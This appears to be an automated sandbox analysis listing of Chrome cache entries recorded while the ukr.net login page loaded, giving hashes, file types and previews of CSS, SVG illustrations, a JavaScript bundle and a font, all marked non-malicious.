Preview:	._3X3e-EB1{align-items:center;background:transparent;border:1px solid transparent;border-radius:6px;box-sizing:border-box;display:flex;justify-content:center;padding:0;fill:currentColor;cursor:pointer;transition:background .12s ease-out}._3X3e-EB1._2aZ-1yM8{border:none;height:24px}._3X3e-EB1.TINVi9Sp{height:32px}._3X3e-EB1._35-PyG5t{height:36px}._3X3e-EB1._2vb552Xm{height:40px}._3X3e-EB1._3m0GThjT{height:44px}._3X3e-EB1._2v33k55D{font-family:inherit;font-size:13px;font-weight:500;justify-content:flex-start;text-align:left;white-space:nowrap}._3X3e-EB1._2v33k55D.TINVi9Sp{padding:0 5px}._3X3e-EB1._2v33k55D._2vb552Xm,._3X3e-EB1._2v33k55D._35-PyG5t,._3X3e-EB1._2v33k55D._3m0GThjT{padding:0 8px}._3X3e-EB1.TINVi9Sp:not(._2v33k55D){width:32px}._3X3e-EB1._35-PyG5t:not(._2v33k55D){width:36px}._3X3e-EB1._2vb552Xm:not(._2v33k55D){width:40px}._3X3e-EB1._3m0GThjT:not(._2v33k55D){width:44px}._3X3e-EB1._3jlSvI5j{color:var(--color-accent-450)}._3X3e-EB1._2PjLuT8z{color:var(--color-main-600)}._3X3e-EB1.

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	13537
Entropy (8bit):	4.693885941592362
Encrypted:	false
SSDEEP:	384:BinovdNJgR1NWuIZ/aYE2jFxpiJfNm2v7YXG:Baqi6IfNmo
MD5:	18E7E3207406EA74D521212CB83D7BF3
SHA1:	A0ECF85E75F499CD7B042FFB5EC5AA3861DE746F
SHA-256:	6AF383C7E44403F7265DCC9A2DDE573A6DF24956FB6CCAC756680E93A93FBD95
SHA-512:	8892E22B6C0C75DE43E22322AC36FF505B2252AE465B16F1A87925714143AF90717DF4D7D74E79EDA90B43118615EDB8F799990F3D08118F7508262667397C71
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="594" height="456"><defs><path id="a" d="M4 0h282.363a4 4 0 0 1 4 4v199.364H0V4a4 4 0 0 1 4-4"/><path id="e" d="M79.28 32.28h184.5a4 4 0 0 1 4 4v167.084H75.28V36.28a4 4 0 0 1 4-4"/><filter id="c" width="116.6%" height="118.7%" x="-8.3%" y="-8.2%"><feOffset dy="2" in="SourceAlpha" result="shadowOffsetOuter1"/><feGaussianBlur in="shadowOffsetOuter1" result="shadowBlurOuter1" stdDeviation="5"/><feColorMatrix in="shadowBlurOuter1" values="0 0 0 0 0.0509803922 0 0 0 0 0.0980392157 0 0 0 0 0.168627451 0 0 0 0.15 0"/></filter><mask id="b" fill="#fff"><use xlink:href="#a" fill-rule="evenodd"/></mask></defs><g fill="none" fill-rule="evenodd"><g transform="rotate(-179 269.31 70.954)"><circle cx="72.963" cy="73.212" r="56.5" fill="#afcff4"/><g stroke="#9ba1a9"><path d="M72.5 10C37.43 10 9 38.43 9 73.5S37.43 137 72.5 137 136 108.57 136 73.5M4.625 50.78a74.4 74.4 0 0 0-3.366 20.945m39.785 65.842a71.6 71.6 0 0 0

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	12470
Entropy (8bit):	4.110134377142729
Encrypted:	false
SSDEEP:	192:0nuhOjQb9cNw3MesxTo8QWrrS6BA14VRus1A4JC77h5n5O59cnjhlsYFWn/vK68G:1hOjQb9n3MesrhdAEAl7Lk9el+98LK
MD5:	2833FF6480F83BB80DFAD3F1C22EB869
SHA1:	4AA6BD74B33C9692EB15F8B69909D2F0A1A33D1C
SHA-256:	11EAE655AC5968217B3E42D9847B9C10B6516179F65439B0CDEC96195EEB016F
SHA-512:	A9767FA6E9E39D92835C716BAB1E389B5EFB7CF99F64AEA51402B06338B080F1B856BB2524519366887C35027916EF726938D0859DF172D21D1B93AB420418D7
Malicious:	false
URL:	https://accounts.ukr.net/login/assets/illustration-support-a8ca1214.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="594" height="456"><defs><path id="a" d="M4 0h262a4 4 0 0 1 4 4v185H0V4a4 4 0 0 1 4-4"/><mask id="b" fill="#fff"><use xlink:href="#a" fill-rule="evenodd"/></mask></defs><g fill="none" fill-rule="evenodd"><path fill="#dfe1e9" d="M116.839 224.463c0-6.088 5.372-11.023 12-11.023h274c6.627 0 12 4.935 12 11.023V416.44h30v8c0 5.523-4.477 10-10 10h-338c-5.523 0-10-4.477-10-10v-8h30z"/><path fill="#f3f4f6" d="M222.591 416.44h98.248a7 7 0 0 1-7 7h-96a7 7 0 0 1-7-7z"/><g transform="translate(130.839 227.44)"><use xlink:href="#a" fill="#f6f7f8"/><g fill="#eff0f3" mask="url(#b)"><path d="M2.74-151.44c21.259 0 38.493-16.118 38.493-36s-17.234-36-38.493-36c-21.26 0-38.493 16.117-38.493 36s17.234 36 38.493 36m251.394 357.392c31.657-11.011 69.535-37.457 70.08-80.524.152-12.05-.386-21.417-.408-28.944v-.931c.024-7.529.636-13.177 3.12-17.845 8.796-16.54 21.93-25.785 35.455-35.29l1.766-1.242c15.318-10.786 30.914-22.324

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65468)
Category:	dropped
Size (bytes):	490758
Entropy (8bit):	5.508167058372089
Encrypted:	false
SSDEEP:	6144:2TJ8tPgfO+mjvvKhKdlqr9gHDKAHBccOpuDLhn3Xzjx2GMQmnVl8lDgrPTLYTvVf:K8DvKk7koeQ3XzJDgjP6vVCtm689
MD5:	E201AAD8650556A03119F670D0A2B955
SHA1:	E7D16E3D3343D269B1D54E6E5834163968F95FA9
SHA-256:	12B3B86FF2A422FE8AF111E5FB6846052F1BE6882E5ADFF1755A1DB94191CE12
SHA-512:	FF8BFA91F2D8767DF51BB23ECC3C20D36B043E8E63C2F4C349125DF78301BFC1A2B4B7A16E984E9BCE38540CAB6AD66CE1D95E9F4753FD3CE8F09B312EE87DF7
Malicious:	false
Preview:	/! For license information please see bundle.js.LICENSE.txt /.(()=>{var e={1633:(e,t)=>{var n;!function(){"use strict";var r={}.hasOwnProperty;function i(){for(var e=[],t=0;t<arguments.length;t++){var n=arguments[t];if(n){var a=typeof n;if("string"===a\|\|"number"===a)e.push(n);else if(Array.isArray(n)){if(n.length){var o=i.apply(null,n);o&&e.push(o)}}else if("object"===a){if(n.toString!==Object.prototype.toString&&!n.toString.toString().includes("[native code]")){e.push(n.toString());continue}for(var s in n)r.call(n,s)&&n[s]&&e.push(s)}}}return e.join(" ")}e.exports?(i.default=i,e.exports=i):void 0===(n=function(){return i}.apply(t,[]))\|\|(e.exports=n)}()},7176:(e,t,n)=>{var r=n.p;e.exports={symbol:r+"assets/file-20d110f0.svg#icon-arrow-005b",view:r+"assets/file-20d110f0.svg#view-icon-arrow-005b",viewBox:"0 0 24 24",title:"",toString:function(){return JSON.stringify(this.view)}}},6435:(e,t,n)=>{var r=n.p;e.exports={symbol:r+"assets/file-20d110f0.svg#icon-support-email-4cea",view:r+"ass

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	9055
Entropy (8bit):	4.329815309844381
Encrypted:	false
SSDEEP:	192:OxNqodms1fsf4Ua+UO8Hd48YY8/JybsbXyl8lDS1tp03HptaEJy:KoX8Hm8YY8/+WCGDS1toJY
MD5:	061A3D430763A183C754086ACF8AF9D9
SHA1:	9C511D4A4794D8FA16A13E39916044EF78057128
SHA-256:	6E981201EB5179A2F9E3CDA1DC2B5859038C2EE780A50768B54C19B5F9BCC861
SHA-512:	CFDF2AB646BDDE36EF2DC831905A4F1D9CAF757C40084E70D67F10247D8C7B72BB3B5B5AE417A21A48FE1C4E50972FA5BD22837C0E2038591766265998968DFF
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="594" height="456"><g fill="none" fill-rule="evenodd"><g stroke="#9ba1a9"><path d="M397.688 455.5H290.173zM460.292 455.5H428.99zM152.806 455.5H25.291zM189.552 455.34h-20.415zM456.99 206.803l46.72 37.793-.001.11a7.43 7.43 0 0 1 4.291 6.737V407.57a7.43 7.43 0 0 1-7.431 7.431H221.43a7.43 7.43 0 0 1-7.431-7.431V251.443a7.43 7.43 0 0 1 4.153-6.67l13.032-10.767M409.537 336.768l90.621-79.494m-274.375 6.672 82.368 72.754"/><path d="m222 401.382 117.487-85.247c11.815-9.177 27.9-9.535 39.72-.879L499 403M307.975 172.337l1.454-8.242c1.384-7.85 8.87-13.092 16.72-11.708l113.718 20.051c7.85 1.384 13.092 8.87 11.708 16.721l-10.527 59.702c-1.384 7.85-8.87 13.092-16.721 11.708L310.61 240.518c-6.587-1.162-11.338-6.62-11.879-12.984"/></g><path fill="#dfe1e9" d="m396.055 188.164 32.694 5.764a4.33 4.33 0 1 1-1.504 8.53l-32.693-5.766a4.33 4.33 0 1 1 1.503-8.528M392.337 205.096l34.115 6.015a3.608 3.608 0 1 1-1.253 7.108l-34.115-6.016a3.608 3.608 0 0 1 1.253-7.107M

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 23040, version 3.1245
Category:	downloaded
Size (bytes):	23040
Entropy (8bit):	7.991205177068908
Encrypted:	true
SSDEEP:	384:+A7Pc15RS8JQ9ymId5ZflbDLUaaNmB7pvJrSqqGIOJA8540z0atfAlMCv2pP:+A701vSqmINlbYNi7z2qqeG854zatpVP
MD5:	5B5385E029F4095C01B5774A45F34D8C
SHA1:	CFFD97D7AF5A4FEB8FC5965741A0B057360A1448
SHA-256:	2288940D11ABB03602D812666FF97FCF05F7CEDB787EEAC67988049FF288DF75
SHA-512:	1C9793F9E5AE8AB696E81CC498E2A8C707ED1DD06EBF472575F3FBB007E0F28788A5582DADE25BD13211549EEBF27924FA178B59BF24BBE9BEC03CE234D1CF70
Malicious:	false
URL:	https://accounts.ukr.net/login/assets/inter-regular-latin-4X1OBjWa.woff2
Preview:	wOF2......Z........ ..Y..........................\|...N..P.`..P......&.6.$..L..(.. ..h. ...7.m.....O.FK%.+a.......%qv .....}n.....t.....33...D.*.B. .bG..$B.#.........Z1@.........:.\.w.pyIw.h..N.p....t[..C2...V.kK......!.iG_'.-C.7..f7....}k:.'-.X.^iS..&. . S$E.>U...B.....O7m.m...~-.....$.A.tIw..A..q....Ir^....g......!..".. @.B.v.bG.....h.?b.X....c....U..\...E......w......I.8....U$.$.X.p........K.S..n.:(E.\.9.e3se..{lX.19.a!.B..-T~...U.U.\|....OK..V...<...!......D..>../. ...T.D..0Jw.F..."....J.... ..l......0.T..@a.P."^.........J...bR.X.... DR.....I._g6#.=.e..KU\U.L..6...9..C.uT.rKd)T.....a.......".._.b!....kTZ.TJ..B..Zx9.1L............Ep.fF22.LDd.q.v%.N.X...z.n..o.4_~%......5..E..v..:..8....t.Bo.Qu.cn[\i...<E.2.. .<.9.O2\.....#OF.\!W..!..W..Z..eH.SN9.xK.s..5a....!.k............A....F..vH...T+.....g.g...Y.<....Y.$o\..wf..`....t.AI..3+Rw02..3..\|..9.3.~...p......(..$..2.(.,x..-;.Y.._".n....]7u6$..?#...O..^.S...K8.!{...dN..<.....[#.Bx.N.[Q.....?.k.

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	4754
Entropy (8bit):	4.205290798030735
Encrypted:	false
SSDEEP:	96:bgS8Bnpj7j8RGvowCEbaZKmCu4My+dJ2ds3ZHyL:kSOnpj/8R0QZKBu/y+dJX3UL
MD5:	576B69A8D6151F7799F93BC3CF8C0778
SHA1:	6F7735559024A30BF759259B953A2518820B7B10
SHA-256:	340C176BCA46039AA36D58005C270FF86DCF69C8722436813C129971BCA06241
SHA-512:	FC424EA29C9B94D29E619630169EE675FB38E8DDC613526576EE72BABE00F495C24B60CB2C0A901E4697535D577340FE19E0F75363879D0E7CD43485245D9764
Malicious:	false
URL:	https://accounts.ukr.net/login/assets/google-play-badge-8c42ddbd.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" width="180" height="53.333"><path fill="#100f0d" d="M173.33 53.333H6.67c-3.667 0-6.666-3-6.666-6.667V6.669C.004 3 3.004 0 6.67 0h166.66c3.667 0 6.667 3 6.667 6.666v40c0 3.666-3 6.666-6.667 6.666"/><path fill="#a2a2a1" d="M173.33.001H6.67c-3.667 0-6.666 3-6.666 6.667v39.998c0 3.667 3 6.667 6.666 6.667h166.66c3.667 0 6.667-3 6.667-6.667V6.669c0-3.667-3-6.667-6.667-6.667zm0 1.066c3.088 0 5.6 2.513 5.6 5.6v40c0 3.087-2.512 5.6-5.6 5.6H6.67a5.606 5.606 0 0 1-5.6-5.6v-40c0-3.087 2.512-5.6 5.6-5.6z"/><path fill="#fff" d="M142.58 40h2.488V23.331h-2.488zm22.409-10.664-2.852 7.226h-.085l-2.96-7.226h-2.68l4.44 10.1-2.532 5.619h2.595l6.84-15.719zm-14.11 8.77c-.813 0-1.95-.407-1.95-1.415 0-1.286 1.415-1.78 2.637-1.78 1.093 0 1.609.236 2.273.558a3.016 3.016 0 0 1-2.96 2.638zm.301-9.135c-1.801 0-3.666.794-4.438 2.553l2.208.921c.472-.921 1.35-1.221 2.273-1.221 1.287 0 2.595.77 2.616 2.144v.171c-.45-.257-1.416-.643-2.595-.643-2.381 0-4.804 1.

Chrome Cache Entry: 131

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	15596
Entropy (8bit):	4.879536467323995
Encrypted:	false
SSDEEP:	384:FINRL7LouFdRJd3kI3CszF8C/GOGYdBAum5rfg:F4F7XCszF8C/GOGYdBAumdY
MD5:	1DF9CB852573209838E17DC79ADB4B34
SHA1:	A562AE72AE51A1756DCA3D84F37A1BC90229E5C5
SHA-256:	E4197D738E05E38566BA930106F014DFCB51284D3AACBBECE6EDC8290631782E
SHA-512:	BE924178431223F91814A478A193B21E4BFA2F1EA292A3CC6A5CC9FCE047AFD5438B44FD1A5DD7AFF178568DBEDC418E79855B0B73DBD5C0887269EBA921C4A6
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><defs><path id="icon-mask-efcca" d="M16.5 0a.75.75 0 01-.078.333l-.104.198-.144.255-.185.307-.108.17a14 14 0 01-1.542 1.998C12.612 5.118 10.578 6.25 8.25 6.25S3.888 5.118 2.161 3.26a14 14 0 01-1.65-2.167L.326.786.182.531.078.333A.75.75 0 010 0h1.604l.098.166.18.289c.39.609.851 1.218 1.378 1.784C4.728 3.82 6.402 4.75 8.25 4.75s3.522-.93 4.99-2.51A12.7 12.7 0 0014.618.455l.18-.289.097-.166z"/><style>@keyframes slide{0%{transform:translateY(-30px)}12%{transform:translateY(5px)}15%,65%{transform:translateY(0)}80%{transform:translateY(30px)}}@keyframes fade{0%,80%{opacity:.2}10%,70%{opacity:1}}</style><symbol id="icon-arrow-005b" viewBox="0 0 24 24"><path d="M7.47 9.47a.75.75 0 01.976-.073l.084.073L12 12.939l3.47-3.47a.75.75 0 01.976-.072l.084.073a.75.75 0 01.073.976l-.073.084-4 4a.75.75 0 01-.976.073l-.084-.073-4-4a.75.75 0 010-1.06"/></symbol><symbol id="icon-support-email-4cea" viewBox="0 0 24 24"><path d=

Chrome Cache Entry: 132

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	41292
Entropy (8bit):	6.014849865100875
Encrypted:	false
SSDEEP:	768:IiRGIAjYdPK/K0fzQIbdByauBYOcVkXwdV1S0d/qaiBoYSrOXQS1:TY7kGoQBy4WAlS6iUu1
MD5:	33B709D1DBDCD402D86692F11C4A558D
SHA1:	2DF6902A8F7AF6500176418B8218ABAA2207086B
SHA-256:	8937BF095507151428C0F821B1297541D8405292839C3BA0DEBADC35CE6676A1
SHA-512:	0101C1299E2ABDC446DA81273120B87336721CAE147CEA1564CED0F94067A06A856C37823475AF28FBE0218F5BE2CD3151BBD4309DA46CF0F61D395C9D7384AF
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="594" height="456"><defs><mask id="b" fill="#fff"><path fill-rule="evenodd" d="M0 0h98.05v107.199H0z"/></mask><mask id="d" fill="#fff"><use xlink:href="#a" fill-rule="evenodd"/></mask><pattern id="e" width="100%" height="100%" x="0%"><image xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAKAAAACgCAYAAACLz2ctAAAAAXNSR0IArs4c6QAAADhlWElmTU0AKgAAAAgAAYdpAAQAAAABAAAAGgAAAAAAAqACAAQAAAABAAAAoKADAAQAAAABAAAAoAAAAACEJDuzAABAAElEQVR4Ae29CZRtWVnnee4c85tfjmYmCQkkkAwFtgiICFRXLQQtpVDRwnKCsrFpl22tatFVtnQp1a20ZVlY5RK1qWroVpAWEUQsJyAFARMyEzIhySSBHB755iHmeyPi9v/33/s7ceLGjeENaZHxYkecu+dv7/3t//n2vE+t2FXnzYH+Pa97ctE9enPR792wMntuz0q/V6/XGt16s3WsmLjhtmKkdlftcW9fOG/Cl2GE2mVY5gsqcv/O73xp7/SD37XcnXthUdSe0i/69Voh9tX0W6sXNdmWl3rFcq9b1BvNL3fG9vx548At76o95Xf//IISvEwi7QJwi4ru3/biF88df/BNCvaC5sh40Wh3inq9mYBXr0vXg+qvFP3l5WJlZalY6S0WS4vzxXJ3sag32x8bu/aWX6097T3vSQF3f6sc2AVglRsD5t6Hn/XTs6eOvmVkal/RGp0ETEXREPga0pF+KAAo8CXV

Chrome Cache Entry: 133

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	41292
Entropy (8bit):	6.014849865100875
Encrypted:	false
SSDEEP:	768:IiRGIAjYdPK/K0fzQIbdByauBYOcVkXwdV1S0d/qaiBoYSrOXQS1:TY7kGoQBy4WAlS6iUu1
MD5:	33B709D1DBDCD402D86692F11C4A558D
SHA1:	2DF6902A8F7AF6500176418B8218ABAA2207086B
SHA-256:	8937BF095507151428C0F821B1297541D8405292839C3BA0DEBADC35CE6676A1
SHA-512:	0101C1299E2ABDC446DA81273120B87336721CAE147CEA1564CED0F94067A06A856C37823475AF28FBE0218F5BE2CD3151BBD4309DA46CF0F61D395C9D7384AF
Malicious:	false
URL:	https://accounts.ukr.net/login/assets/illustration-backup-e81719b8.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="594" height="456"><defs><mask id="b" fill="#fff"><path fill-rule="evenodd" d="M0 0h98.05v107.199H0z"/></mask><mask id="d" fill="#fff"><use xlink:href="#a" fill-rule="evenodd"/></mask><pattern id="e" width="100%" height="100%" x="0%"><image xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAKAAAACgCAYAAACLz2ctAAAAAXNSR0IArs4c6QAAADhlWElmTU0AKgAAAAgAAYdpAAQAAAABAAAAGgAAAAAAAqACAAQAAAABAAAAoKADAAQAAAABAAAAoAAAAACEJDuzAABAAElEQVR4Ae29CZRtWVnnee4c85tfjmYmCQkkkAwFtgiICFRXLQQtpVDRwnKCsrFpl22tatFVtnQp1a20ZVlY5RK1qWroVpAWEUQsJyAFARMyEzIhySSBHB755iHmeyPi9v/33/s7ceLGjeENaZHxYkecu+dv7/3t//n2vE+t2FXnzYH+Pa97ctE9enPR792wMntuz0q/V6/XGt16s3WsmLjhtmKkdlftcW9fOG/Cl2GE2mVY5gsqcv/O73xp7/SD37XcnXthUdSe0i/69Voh9tX0W6sXNdmWl3rFcq9b1BvNL3fG9vx548At76o95Xf//IISvEwi7QJwi4ru3/biF88df/BNCvaC5sh40Wh3inq9mYBXr0vXg+qvFP3l5WJlZalY6S0WS4vzxXJ3sag32x8bu/aWX6097T3vSQF3f6sc2AVglRsD5t6Hn/XTs6eOvmVkal/RGp0ETEXREPga0pF+KAAo8CXV

Chrome Cache Entry: 134

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	10286
Entropy (8bit):	4.280834010281303
Encrypted:	false
SSDEEP:	192:O8vG1hQVunoGVWRl6Rmu69mmJqWvdZV+6WFR8f4XMcnSM9:o1OMxul6gLmwq+ZV+/R8f4xnSM9
MD5:	E4BBFBB470A61FAA568E8DD7C881A5A2
SHA1:	83A52365062700BB50C07BFC9DFD325E382A906C
SHA-256:	041599B37C9A37419723825DE9DE30E27DE22C1A1FE0B456A181123EE37C2193
SHA-512:	A6B97B71D4C9C6685F3F1BF7E08504CB5230C45A66D8759B2AAEB429B1F5487206D0C668DEE2C7CC3F55FFC772B4613EBFCF2BB0B109DEC7246FF8D6A83A3EC4
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="594" height="456"><g fill="none" fill-rule="evenodd"><path fill="#d0d3d7" d="M255.735 181h94.673a3 3 0 0 1 2.952 3.535L338.605 266H237l14.8-81.713a4 4 0 0 1 3.935-3.287"/><path fill="#fff" d="M259.913 187h82.491a3 3 0 0 1 2.951 3.538L331.425 267H242l13.978-76.717a4 4 0 0 1 3.935-3.283"/><path fill="#d0d3d7" d="M179 265h160l-1.175 7H179z"/><g stroke="#9ba1a9"><path d="M180.208 444.231H6zM491.625 444.231h-94.042zM441.64 443.463l-20.589-159.067V272H99.048v12.396h299.32399999999996l29.818 147.27M594 444.231h-20.042z"/></g><path fill="#82af32" d="m293.643 190 .023.008.334.107.334-.107.023-.007.002.228 26.602 8.484c0 10.055.435 19.32-1.601 26.46q-6.334 22.199-25 30.513V256l-.361-.155-.359.155-.001-.314q-18.665-8.315-24.999-30.513c-2.036-7.14-1.6-16.405-1.6-26.46l26.6-8.483V190z"/><path fill="#fff" d="M295.423 227.684v4.267c0 .708-.558 1.282-1.247 1.282h-.352c-.689 0-1.247-.574-1.247-1.282v-4.267a3.27 3.27 0 0 1-1.723-3.234c.145-1.505 1.323-2.734

Chrome Cache Entry: 135

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	9906
Entropy (8bit):	4.319078757982646
Encrypted:	false
SSDEEP:	192:OvVUETkYK2yX8DwbFh0sipp+I6wwL7mYwFTZ4x+U0c/7:qU2XDzrT6wOlwgP/7
MD5:	6155C3D091B96D3D08DC85B37AFF691D
SHA1:	60455EA7A64A23640D7920E17B11D3F21FFA174A
SHA-256:	3E7C5499D347D13D23BF30C038018D94A61D644C3261B1DC0DA65DD0129CEA4F
SHA-512:	8D6B1FDEAB74C5DD49FAC810B81DCBD87E908C2E709CF9E3EAF6247F2E7C78D10F5B528426007F502ED20DA12B2A2F2E91D0F6566392AF96A19A3043D8EC1A22
Malicious:	false
URL:	https://accounts.ukr.net/login/assets/illustration-dark-mode-2281edaa.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="594" height="456"><g fill="none" fill-rule="evenodd"><g stroke="#9ba1a9"><path d="M163.161 455.5H59zM444 455.5H339.839z"/></g><g stroke="#9ba1a9"><path d="M565.447 372.788c3.763 1.149 7.623 2.62 9.37 4.201 0 0-15.27 6.08-12.868 7.451 2.403 1.372 18.6-4.227 18.6-4.227s12.666 6.292 9.51 14.043c-3.154 7.75-8.507 8.808-10.464 7.98-1.956-.828-12.426-8.85-13.18-7.307-.755 1.542 4.739 9.008 9.647 10.775 0 0-12.524 7.286-17.88 2.45-5.355-4.838-4.464-9.647-7.828-12.578-3.365-2.93-6.694-3.94-5.63-1.673s7.591 6.146 8.638 10.684c1.046 4.539 2.248 7.751-3.93 4.826s-15.276-10.765-14.11-16.21M479.969 380.902s15.258-8.413 8.138-19.83c0 0-5.697-7.01-11.8-8.813 0 0 3.255 17.025 0 17.426s-2.238-19.228-2.238-19.228-16.073-7.612-22.38-7.011c0 0 9.97 16.625 6.714 16.224s-14.444-17.226-14.444-17.226-16.48-3.004-19.124 6.61c-2.646 9.615 1.627 14.422 4.069 15.023 2.441.6 18.106.4 17.7 2.403-.408 2.003-10.987 5.208-16.887 3.405 0 0 6.51 15.824 15.055 15.023s11.19-6

Chrome Cache Entry: 136

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	39605
Entropy (8bit):	4.49449459722814
Encrypted:	false
SSDEEP:	768:iOsa35jkGdEkmbIBVADEqOh+2J9cKamiSI/uYxa8aeeI:iF04bIBVADEqOh+2fczSIFa8LF
MD5:	2007377054BBD49FA70AA6F40D58F5ED
SHA1:	BCA2EDC4EF5C9BBABDDBEB28AD8A62D57D8D0AAA
SHA-256:	D2854A62920E0D72F7607234CE81FA9122D1DA7B9FEE627CC62E16ED12D7EFDD
SHA-512:	3289244775B63FDA00B05F0207E25A77814E961176189355025EADD434357BBE88F4ED068AE163D818204C23FAE086888E20A032202603C24B3B5B685828C7F2
Malicious:	false
URL:	https://accounts.ukr.net/login/assets/illustration-patriotic-59471166.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="594" height="456"><linearGradient id="a"><stop offset="0" stop-color="#faef54"/><stop offset=".374" stop-color="#faef54"/><stop offset="1" stop-color="#ee9026"/></linearGradient><radialGradient xlink:href="#a" id="d" cx="49.93%" cy="50.015%" r="50.059%" gradientTransform="matrix(-.9953 0 0 -1 .996 1)"/><linearGradient id="b"><stop offset="0" stop-color="#fbf172"/><stop offset=".133" stop-color="#fbf172"/><stop offset="1" stop-color="#ee9026"/></linearGradient><linearGradient xlink:href="#b" id="e" x1="49.636%" x2="49.636%" y1="101.225%" y2="-.667%"/><linearGradient xlink:href="#b" id="f" x1="50.136%" x2="50.136%" y1="100.142%" y2=".204%"/><linearGradient xlink:href="#b" id="g" x1="49.69%" x2="49.69%" y1="100.955%" y2="-.917%"/><linearGradient xlink:href="#b" id="h" x1="50.195%" x2="50.195%" y1="99.896%" y2="-.043%"/><radialGradient xlink:href="#a" id="i" cx="49.93%" cy="50.015%" r="50.033%" gradie

Chrome Cache Entry: 137

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	9961
Entropy (8bit):	4.337688283559793
Encrypted:	false
SSDEEP:	192:OSSCU6f0/Noy+HdTy+HyX/XpH/QC+ztfDZx7nkb:P/UQvy+pEfpH/a5bbYb
MD5:	70B30506AB3A3624B4896A1B326551E9
SHA1:	40E59D3A796BC8BB00B45575F5BB191B11EF060C
SHA-256:	9814910F389257E4D94ED7F97F4ACDAB28004D9C256A50273F3D8655429FF5C1
SHA-512:	6031D36B1DD510BF4E420A1AC89B364EA2D22CDE51753B6DB08DEDD0308D84DDE4E393A92810DBACC1F7ED08B890001738CEBFD245632DE8D1428259A897FBCE
Malicious:	false
URL:	https://accounts.ukr.net/login/assets/illustration-unlimited-8c72d422.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="594" height="456"><g fill="none" fill-rule="evenodd"><g stroke="#9ba1a9"><path d="M430 455.5h-91zM327 455.5h-26zM190 455.5H17z"/></g><path fill="#dfe1e9" d="M387 182h15v274h-15z"/><path stroke="#9ba1a9" d="M402.5 387v69m-15 0V182m15 18.173V325.5"/><path fill="#94bf46" d="M435 78c23.196 0 42 18.804 42 42v26.734c-20.726 2.004-36.866 16.693-42.152 36.266H313v-63c0-23.196 18.804-42 42-42z"/><path fill="#74a124" d="M345.5 78c17.95 0 32.5 14.55 32.5 32.5V183h-65v-72.5c0-17.95 14.55-32.5 32.5-32.5"/><path fill="#94bf46" d="M248 183h130v3a5 5 0 0 1-5 5H253a5 5 0 0 1-5-5z"/><g transform="translate(415 13.598)"><ellipse cx="9.809" cy="92.533" fill="#d0d3d7" rx="9.809" ry="9.869"/><path fill="#ffb526" d="m54.217 24.102-44 21.643V2.458z"/><rect width="5.722" height="95" x="7.357" fill="#dfe1e9" rx="2.861"/></g><g stroke="#fff"><path d="M354 176v-51a5 5 0 0 1 5-5h13.13M321 176v-44.574c0-2.444 2.239-4.426 5-4.426h6.173M333 168v-43a5 5 0 0 1 5-5"/><path

Chrome Cache Entry: 138

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	37423
Entropy (8bit):	3.903421295947194
Encrypted:	false
SSDEEP:	768:oy/a1vg4CgGYpodDYoU+4w5Az4XexcI/NP0z:o6CGhYpuDYojzAzzG
MD5:	84B41FB721E3FD3C6790E68CF04DBAA5
SHA1:	1FB84A260F5D02CA2CEE7494DB74AFB411FEBD2D
SHA-256:	354DBDF1463406AF69E4C91FAE4F7713C9FC225E7562B4155E40CC513CA9C1CD
SHA-512:	85BB78CB2A3B857715FA2E7EF144B9490921C2EE8A1BA0E534C0FF1DAEFDDD9F69DFAA0BD401D078E5153F66CC08605062AA969A6CCF4D9EADD440153E45AEC3
Malicious:	false
